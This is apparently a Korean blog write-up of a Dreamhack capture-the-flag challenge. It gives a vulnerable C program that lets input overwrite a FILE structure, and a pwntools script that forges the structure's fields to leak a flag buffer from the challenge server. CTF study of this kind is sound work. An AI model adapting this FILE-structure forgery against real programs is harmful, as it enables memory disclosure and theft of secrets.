[Dreamhack] _IO_FILE Arbitrary Address Read

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
35/44

📒 Description & Checksec

https://velog.io/@mm0ck3r/Dreamhack-IOFILE-Arbitrary-Address-Write
이 문제처럼 풀이하면 되겠다.


📒 C code

📖 iofile_aar.c

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie 

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
	FILE *fp;
	fp = fopen("/home/iofile_aar/flag", "r");
	fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
	fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

read_flag 함수를 호출하고 난 후에 flag_buf에는 flag의 내용들이 들어가지게 된다.
read(0, fp, 300)에서 file 구조체를 우리 입맛대로 바꾸어 flag_buf의 내용들을 출력하게 해야한다.


📒 Exploit

📖 exploit.py

from pwn import *

p = remote('host3.dreamhack.games', 24132)

flag_buf_addr = 0x00000000006010a0

payload = p64(0xfbad0800)
payload += p64(0)
payload += p64(flag_buf_addr)
payload += p64(0)
payload += p64(flag_buf_addr)
payload += p64(flag_buf_addr + 1024)
payload += p64(0) * 8
payload += p64(1)

p.recvuntil('Data: ')
p.send(payload)
p.interactive()

write 때와는 다르게 file flag도 설정해주어야 하며, flag_buf_addr 주소와, 1024 바이트라는 크기를 넉넉하게 설정해주었다.

profile
Today I Learned

0개의 댓글